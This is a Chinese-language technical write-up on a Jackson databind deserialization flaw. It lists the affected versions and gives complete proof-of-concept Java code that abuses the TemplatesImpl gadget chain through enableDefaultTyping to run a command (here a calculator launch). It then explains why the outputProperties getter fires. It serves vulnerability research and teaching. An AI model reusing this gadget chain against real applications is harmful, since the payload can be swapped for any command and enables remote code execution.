Jackson反序列化(二)

0x01 影响版本

Jackson 2.6 < 2.6.7.1
Jackson 2.7 < 2.7.9.1
Jackson 2.8 < 2.8.8.1

0x02 限制

由于是打的 TemplaesImpl 链,所以要求 JDK 版本是 7u21 或者 8u20,动态代理相关的链子。

0x03 漏洞复现

Test.java

1
2
3
public class Test{  
	public Object object;  
}  

SimpleCalc.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;    
import com.sun.org.apache.xalan.internal.xsltc.TransletException;    
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;    
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;    
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;    
    
public class SimpleCalc extends AbstractTranslet {    
    
    public SimpleCalc() throws Exception {    
        Runtime.getRuntime().exec("open -a Calculator");    
    }    
    
    @Override    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    
    
    }    
    
    @Override    
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    
    
    }    
}  

Poc.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.fasterxml.jackson.databind.ObjectMapper;    
    
import javax.xml.bind.DatatypeConverter;    
import java.io.File;    
import java.io.FileInputStream;    
    
    
public class Poc {    
    public static void main(String[] args) throws Exception {    
        String exp = readClassStr("/Users/f10wers13eicheng/Desktop/Java/JacksonDemo1/src/main/java/SimpleCalc.class");    
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +    
                "{\n" +    
                "'transletBytecodes':['"+exp+"'],\n" +    
                "'transletName':'huahua',\n" +    
                "'outputProperties':{}\n" +    
                "}\n" +    
                "]\n" +    
                "}");    
        System.out.println(jsonInput);    
        ObjectMapper mapper = new ObjectMapper();    
        mapper.enableDefaultTyping();    
        Test test;    
        try{    
            test = mapper.readValue(jsonInput, Test.class);    
        }catch(Exception e){    
            e.printStackTrace();    
        }    
    }    
    
    
    public static String aposToQuotes(String json){    
        return json.replace("'", "\"");    
    }    
    public static String readClassStr(String cls) throws Exception{    
        File file = new File(cls);    
        FileInputStream fileInputStream = new FileInputStream(file);    
        byte[] bytes = new byte[(int) file.length()];    
        fileInputStream.read(bytes);    
        String base64Encoded = DatatypeConverter.printBase64Binary(bytes);    
        return base64Encoded;    
    }    
}  

Jackson 是调用任意的构造函数与任意的setter方法,为什么会触发这条链子呢?
7u21这条链子本质上其实是TemplateImpl类的类动态加载,配合上动态代理来打的,可是这里不论是动态代理,还是TeamplaesImpl.getOutputProperties(),都和 Jackson 没关系。

0x04 漏洞分析

首先是第一次到com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize方法,反序列化Test类,会走到其构造函数里面,并且继续处理object
继续往下走,下一步是反序列化 object 里面的数据
这里看一下_beanProperties里的值

1
Properties=[uriresolver([simple type, class javax.xml.transform.URIResolver]), transletBytecodes([array type, component type: [array type, component type: [simple type, class byte]]]), outputProperties([map type; class java.util.Properties, [simple type, class java.lang.String] -> [simple type, class java.lang.String]]), transletName([simple type, class java.lang.String]), stylesheetDOM([simple type, class com.sun.org.apache.xalan.internal.xsltc.DOM])]  

除了setter函数中的属性之外,还有outputProperties,为什么outputProperties会被拿到呢?因为outputProperties属性有相应的getter方法,而其他属性却没有
接着来看看对于outputProperties是怎么处理的
outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因
这里也指出了一条攻击利用手法,也就是构造函数中存在的属性,不存在setter方法时,都会自动调用到getter方法。

0%